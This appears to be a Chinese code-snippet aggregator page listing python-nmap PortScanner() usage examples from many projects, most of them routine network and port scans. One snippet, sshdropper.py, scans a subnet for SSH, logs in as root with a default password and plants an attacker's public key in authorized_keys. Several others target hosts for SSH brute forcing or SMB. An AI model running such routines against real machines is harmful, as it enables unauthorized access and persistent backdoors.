python类PortScanner()的实例源码

nmap_plugin.py 文件源码 项目:substack 作者: everping 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def real_scan(self, domain):
        try:
            open_ports = []
            nm = nmap.PortScanner()
            results = nm.scan(domain.ip)
            hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
            for host, status in hosts_list:
                if status == "up":
                    protocols = nm[host].all_protocols()
                    for protocol in protocols:
                        ports = nm[host][protocol]
                        for port in ports:
                            if ports[port]['state'] == 'open':
                                open_ports.append(port)
            return open_ports
        except:
            return []
scan.py 文件源码 项目:kickthemout 作者: k4m4 项目源码 文件源码 阅读 34 收藏 0 点赞 0 评论 0
def scanNetwork(network):
    # Function for performing a network scan with nmap with the help of the python-nmap module
    returnlist = []
    import nmap
    nm = nmap.PortScanner()
    a = nm.scan(hosts=network, arguments='-sP')

    for k, v in a['scan'].iteritems():
        if str(v['status']['state']) == 'up':
            try:
                returnlist.append([str(v['addresses']['ipv4']), str(v['addresses']['mac'])])
            except:
                pass

    # returnlist = hostsList array
    return returnlist
sshdropper.py 文件源码 项目:cinnapwn 作者: nnamon 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def main():
    # key
    key = file("../keys/noma.pub").read()

    # Get IP addresses to test
    n = nmap.PortScanner()
    res = n.scan("172.16.0-10.*", "22")
    op = []
    for i in res["scan"]:
        if res["scan"][i]["tcp"][22]["state"] == "open":
            op.append(i)

    # Test if the password is default
    for i in op:
        try:
            conn = ssh(user="root", host=i, password="password")

            # Upload
            conn.shell("mkdir /root/.ssh;touch /root/.ssh/authorized_keys;grep amon /root/.ssh/authorized_keys || (echo %s | base64 -d) >> /root/.ssh/authorized_keys" % key.encode("base64").replace("\n", ""))

            log.success("%s succeeded" % i)
        except:
            log.info("%s failed" % i)
networkMngr.py 文件源码 项目:WMIControl 作者: crutchcorn 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def getComputers(search=getDeviceNetwork()[2], args='-sS -p 22 -n -T5'):
    """Given string search and string args: Return list of hosts on network
    'args' being nmap arguments to be passed to nmap for optimized searching on networks

    'search' defaults to current network subnet
    'args' defaults to '-sS -p 22 -n -T5'
    To break down these NMAP arguments:
        -sS  : TCP SYN scan. A fast unobtrusive stealthy scan that shouldn't raise any flags while remaining quick
        -p 22: Only scan port 22. This should speed things up while remaining fairly reliable
        -n   : No DNS resolution. Since we don't need the host names, we can go ahead and skip that
        -T5  : Insane timing template. This is the most unreliable, but also the quickest. If you have issues with
               assets being found, I'd suggest to start change with this option.
    """
    nm = nmap.PortScanner()
    scanInfo = nm.scan(hosts=search, arguments=args)  # Remove -n to get DNS NetBIOS results
    IPs = nm.all_hosts()  # Gives me an host of hosts
    return IPs, scanInfo
nmapUtils.py 文件源码 项目:AnyScan 作者: zhangzhenfeng 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def portscanner(target_host,target_port,arguments="-T4 -A -v -Pn"):
    """
    :param target_host:
    :param target_port:
    :return:
    -sS ??SYN??????????????????????(?????,?????)
    -T4 -T(0-5) ???3 4 ?Aggressive?????5?????????????????????5????????????????????1.5??
    -A ?????????????????
    """
    current_path = "%s/nmap_file/" % (os.getcwd())
    if os.path.exists(current_path) == False:
        os.mkdir("nmap_file")
    arguments = arguments + " -oN %s%s" % (current_path,target_host)
    if target_port == "" or target_port is None:
        target_port = "1-65535"
    scanner = nmap.PortScanner()
    results = scanner.scan(hosts=target_host,ports=target_port,arguments=arguments,sudo=False)
    # ???????????
    return current_path+target_host,results
NetMaskScanner_demo.py 文件源码 项目:my-tools 作者: fiht 项目源码 文件源码 阅读 54 收藏 0 点赞 0 评论 0
def get_ip_by_netmask(ip, port, netmask):
        """return {ip:product}, which port is open from ip's netmask"""
        print('Scaning')
        return_value = {}
        nm = nmap.PortScanner()
        nm.scan(hosts='%s/%s' % (ip, netmask), ports=port, arguments='')
        print(nm.command_line())
        hosts_list = [(x, nm[x]['tcp'][int(port)]['product']) for x in nm.all_hosts()]
        print("Len of hosts_list: %s" % len(hosts_list))
        for i in hosts_list:
            if 1:
                return_value[i[0]] = i[1]
            else:
                print("I pass")
        return return_value

    # ----------------------------------------------------------------------
ports.py 文件源码 项目:probesc 作者: bstaint 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def output(target):
    '''
    name: Nmap Ports Scaner
    depends: cdn
    priority: 7
    version: 0.1
    '''
    if getattr(target, 'cdn', True): return

    nm = nmap.PortScanner()
    # nm.scan(target.ip, ','.join(map(str, ports)), arguments='-T4 -A')
    nm.scan(target.ip, ','.join(map(str, ports)))

    if 'tcp' not in nm[target.ip]: return

    target.ports = []
    # target.os = nm[target.ip]['osmatch'][0]['name']

    for key,val in nm[target.ip]['tcp'].items():
        target.ports.append(key)

    target.ports.sort()
    # cprint('OS: %s' % target.os, '+')
    cprint('Ports: %s' % ', '.join(map(str, target.ports)), '+')
application.py 文件源码 项目:bayip 作者: recall704 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def get(self):
        nm = nmap.PortScanner()
        all_ip = nm.scan(hosts=hosts, arguments='-sL')
        all_scan = all_ip.get("scan", {})
        all_ip_list = all_scan.keys()

        online = nm.scan(hosts=hosts, arguments="-sP")
        online_scan = online.get("scan", {})
        online_ip_list = online_scan.keys()

        offline_ip_list =  list(set(all_ip_list).difference(set(online_ip_list)))

        d = {
            "code": "200",
            "response": offline_ip_list,
            "success": True,
        }
        self.write(d)
tasks.py 文件源码 项目:xunfengES 作者: superhuahua 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def hostScan(host, ports, arguments, queue):
    """
    host - ????: 127.0.0.1
    ports - ????: 21,22,135,137,445,3389
    arguments - ????: -Pn -sV
    """
    try:
        nm = nmap.PortScanner()
        nm.scan(hosts=host, ports=ports, arguments=arguments)

        if "tcp" in nm[host].all_protocols():
            for port in nm[host]["tcp"].keys():
                if nm[host]["tcp"][port]["state"] == "open":
                    #nm[host]["tcp"][port]["extrainfo"] match codes
                    pattern = re.compile('(php)|(aspx?)|(jsp)|(python)', re.I)
                    match = pattern.search(nm[host]["tcp"][port]["extrainfo"])
                    if match:
                        codes = match.group().lower()
                    else:
                        codes = ""
                    result = {
                        "id": get_id_md5(host, port),
                        "tags": "hostScan",
                        "host": host,
                        "port": port,
                        "product": nm[host]["tcp"][port]["product"],
                        "state": nm[host]["tcp"][port]["state"],
                        "version": nm[host]["tcp"][port]["version"],
                        "server": nm[host]["tcp"][port]["name"],
                        "codes": codes,
                        "extrainfo": nm[host]["tcp"][port]["extrainfo"],
                        "reason": nm[host]["tcp"][port]["reason"],
                        "cpe": nm[host]["tcp"][port]["cpe"],
                        "queue": queue
                    }
                    getPoolBR().lpush(RedisConfig.HOSTSCANKEY, json.dumps(result))
    except Exception as e:
        pass
scanner_nmap.py 文件源码 项目:python_shell 作者: tluolovembtan 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def nmapScan(target_host, target_port):
    target_port = str(target_port)
    nm = nmap.PortScanner()
    nm.scan(str(target_host), str(target_port))

    port = target_port
    name = nm[target_host]['tcp'][int(target_port)]['name']
    state = nm[target_host]['tcp'][int(target_port)]['state']
    product = nm[target_host]['tcp'][int(target_port)]['product']
    extrainfo = nm[target_host]['tcp'][int(target_port)]['extrainfo']
    reason = nm[target_host]['tcp'][int(target_port)]['reason']
    version = nm[target_host]['tcp'][int(target_port)]['version']
    conf = nm[target_host]['tcp'][int(target_port)]['conf']

    if state == "open":
        print "[*] " + target_host + " tcp/" + port + " state:" + state + " name:" + name + " product:" + product + " extrainfo:" + extrainfo + " reason:" + reason + " version:" + version + " conf:" + conf
    else:
        print "[-] " + target_host + " tcp/" + port + " state:" + state + " name:" + name + " product:" + product + " extrainfo:" + extrainfo + " reason:" + reason + " version:" + version + " conf:" + conf
P12_ScriptToFindDevicesConnectedInNetwork.py 文件源码 项目:Python-Programs 作者: OmkarPathak 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def scan_network():
    scanner = nmap.PortScanner()
    myIP = subprocess.check_output(['hostname -I'], shell=True)
    myIP = str(myIP, 'utf-8').split('.')
    print(myIP[:3])
    scannedData = scanner.scan(hosts = '.'.join(myIP[:3]) + '.1/24', arguments = '-sP')

    # printing all the IP addresses of connected devices
    for hostnames in scannedData['scan']:
        print(hostnames)
camisade.py 文件源码 项目:camisade 作者: tomride 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def scan(target):
    obj =  nmap.PortScanner()
    obj.scan(hosts=target,arguments='-sT')

    for host in obj.all_hosts():
        print '\nHost: ' , host
        print "----------------------------"
        for proto in obj[host].all_protocols():
            lport = obj[host][proto].keys()
            lport.sort()
            for port in lport:
                ban = bannerread(host,port)
                print ('Open Port: %s  \t %s' % (port, ban))
camisade.py 文件源码 项目:camisade 作者: tomride 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def detect(target):
    list1=[]
    scn = nmap.PortScanner()
    scn.scan(hosts=target,arguments='-sP')
    if not scn.all_hosts():
        print("Down")
    for host in scn.all_hosts():
        print 'Live: ', host

    return(list1)
3_6_find_network_interface_status.py 文件源码 项目:Python-Network-Programming-Cookbook-Second-Edition 作者: PacktPublishing 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def get_interface_status(ifname):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    ip_address = socket.inet_ntoa(fcntl.ioctl(
        sock.fileno(),
        0x8915, #SIOCGIFADDR, C socket library sockios.h
        struct.pack(b'256s', bytes(ifname[:15], 'utf-8'))
    )[20:24])
    nm = nmap.PortScanner()         
    nm.scan(ip_address, SAMPLE_PORTS)      
    return nm[ip_address].state()
ssh_login.py 文件源码 项目:Python-Penetration-Testing-for-Developers 作者: PacktPublishing 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def target_identifier(dir,user,passwd,ips,port_num,ifaces):
    bufsize = 0
    ssh_hosts = "%s/ssh_hosts" % (dir)
    scanner = nmap.PortScanner()
    scanner.scan(ips, port_num)
    open(ssh_hosts, 'w').close()
    if scanner.all_hosts():
        e = open(ssh_hosts, 'a', bufsize)
    else:
        sys.exit("[!] No viable targets were found!")
    for host in scanner.all_hosts():
        for k,v in ifaces.iteritems():
            if v['addr'] == host:
                print("[-] Removing %s from target list since it belongs to your interface!") % (host)
                host = None
        if host != None:
            home_dir="/root"
            ssh_hosts = "%s/ssh_hosts" % (home_dir)
            bufsize=0
            e = open(ssh_hosts, 'a', bufsize)
            if 'ssh' in scanner[host]['tcp'][int(port_num)]['name']:
                if 'open' in scanner[host]['tcp'][int(port_num)]['state']:
                    print("[+] Adding host %s to %s since the service is active on %s") % (host,ssh_hosts,port_num)
                    hostdata=host + "\n"
                    e.write(hostdata)
    if not scanner.all_hosts():
        e.closed
    if ssh_hosts:
        return ssh_hosts
scan.py 文件源码 项目:CIDDS 作者: markusring 项目源码 文件源码 阅读 32 收藏 0 点赞 0 评论 0
def main():

    echoC(__name__, "Starting a scan")

    # Determine subnets 
    ipRangeList = getIPRange()
    if ipRangeList == -1:
        return -1

    # Select a random subnet 
    rand = random.randint(0, len(ipRangeList)-1) 
    ipRange = ipRangeList[rand]

    # Define arguments 
    scanOptions = ["-sF", "-sA", "-sU", "-sS", "-n -sP -PE"]
    myArguments = random.choice(scanOptions) + " -T " + str(random.randint(1, 3))

    echoC(__name__, "Scanning " + str(ipRange) + " with arguments: " + myArguments)

    # Execute Scan 
    nm = nmap.PortScanner()
    nm.scan(hosts=ipRangeList[rand], arguments=myArguments)

    # Store the found IPs 
    # At first, delete old IPs 
    open(ipList, 'w').close()
    for i in nm.all_hosts():
        with open(ipList, 'a') as myfile:
            myfile.write(str(i) + '\n')

    echoC(__name__, "Done")

    returnval = "0,nmap args: " + myArguments
    return returnval
test_nmap.py 文件源码 项目:isf 作者: w3h 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def setup_module():
    global nm
    nm = nmap.PortScanner()
nmap_portscanner.py 文件源码 项目:nmap-python-scanner 作者: himadriganguly 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def nmapScan(tgtHost, lock, tgtPort=''):
    with lock:
        nmapScan = nmap.PortScanner()
        if tgtPort:
            nmapScan.scan(tgtHost, tgtPort, arguments='-O')
            state = nmapScan[tgtHost]['tcp'][int(tgtPort)]['state']
            print('[+] {0} tcp/{1} {2}'.format(tgtHost, tgtPort, state))
        else:
            print(nmapScan.csv())
            for proto in nmapScan[tgtHost].all_protocols():
                lport = nmapScan[tgtHost][proto].keys()
                for port in lport:
                    state = nmapScan[tgtHost][proto][int(port)]['state']
                    print('[+] {0} {1}/{2} {3}'.format(tgtHost, proto, port, state))
nmapScan.py 文件源码 项目:pina-colada 作者: ecthros 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def launch(self):
        scanner = nmap.PortScanner()
        results = scanner.scan(self.get_value("host"), self.get_value("ports"))
        pp = pprint.PrettyPrinter(indent=4)
        pp.pprint(results["nmap"])
        pp.pprint(results["scan"])
scanthread.py 文件源码 项目:rexploit 作者: DaniLabs 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def run(self):
        try:
            from nmap import __version__
        except ImportError:
            from nmap import __version__
            self.__communicate.finishScan.emit([])
            return

        from nmap import PortScanner
        self.__targets = []
        nm = PortScanner()
        host = self.__host
        arguments = self.__arguments
        nm.scan(host, arguments=arguments)

        for host in nm.all_hosts():
            for proto in nm[host].all_protocols():
                ports = list(nm[host][proto].keys())
                ports.sort()
                for port in ports:
                    target = Target(protocol=proto,
                                    port=port,
                                    name=nm[host][proto][port]['name'],
                                    state=nm[host][proto][port]['state'],
                                    product=nm[host][proto][port]['product'],
                                    info=nm[host][proto][port]['extrainfo'],
                                    version=nm[host][proto][port]['version'])

                    self.__targets.append(target)

        self.__communicate.finishScan.emit(self.__targets)
port_scan.py 文件源码 项目:moescan 作者: RicterZ 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def exploit(self):
        n = nmap.PortScanner()
        print('Scan {} ports: {}'.format(self.target, self.port))
        arg = self.extra_arg.get('arg') if not self.extra_arg.get('arg') is None else '-sV -Pn'
        result = n.scan(hosts=self.target, ports=self.port, arguments=arg)
        print(result)
        # TODO: qwq
evil.py 文件源码 项目:cdc-ui 作者: CDC-UI 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def find_tgts(subnet):
    nm_scan = nmap.PortScanner()
    nm_scan.scan(subnet, '445')
    tgt_hosts = []
    for host in nm_scan.all_hosts():
        if nm_scan[host].has_tcp(445):
            state = nm_scan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgt_hosts.append(host)
    return tgt_hosts
reconscan.py 文件源码 项目:oscp 作者: sealmindset 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def createList(ipadr):
   nm = nmap.PortScanner()
   args = "-sP -PS -n -oG %s " % (reconf.opth)
   nm.scan(ipadr,arguments=args)
   fo = open(reconf.olst,"w")
   with open(reconf.opth) as input:
        for line in input:
                line = line.split(" ")
                if re.match('[a-zA-Z]',line[1]) is None:
                        fo.write("%s\n" % (line[1]))
   fo.close()
FullFootprinting.py 文件源码 项目:Full-Footprinting-with-Python 作者: ahmetgurel 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def __init__(self):
        self.cmd_arg = "-n -Pn -sS -sV -T4 --top-ports 10"
        self.nmap_services_file = "/usr/share/nmap/nmap-services"
        self.nm = nmap.PortScanner()
mynmap.py 文件源码 项目:apt2 作者: Exploit-install 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def __init__(self, config, display):
        self.config = config
        self.display = display
        if not config:
            self.config = {}
        self.outfile = ""
        self.nm = nmap.PortScanner()
mynmap.py 文件源码 项目:apt2 作者: wi-fi-analyzer 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def __init__(self, config, display):
        self.config = config
        self.display = display
        if not config:
            self.config = {}
        self.outfile = ""
        self.nm = nmap.PortScanner()
sshDictionaryAttack.py 文件源码 项目:ssh-password-cracker 作者: himadriganguly 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def nmapScan(tgtHost):
    nmapScan = nmap.PortScanner()
    nmapScan.scan(tgtHost, '22')
    state = nmapScan[tgtHost]['tcp'][22]['state']
    return state
test_nmap.py 文件源码 项目:bayip 作者: recall704 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def setup_module():
    global nm
    nm = nmap.PortScanner()
test_nmap.py 文件源码 项目:bayip 作者: recall704 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def setup_module():
    global nm
    nm = nmap.PortScanner()
application.py 文件源码 项目:bayip 作者: recall704 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def get(self):
        nm = nmap.PortScanner()
        result = nm.scan(hosts=hosts, arguments="-sP")
        scan = result.get("scan", {})
        ip_list = scan.keys()
        d = {
            "code": "200",
            "response": ip_list,
            "success": True,
        }
        self.write(d)


问题


面经


文章

微信
公众号

扫码关注公众号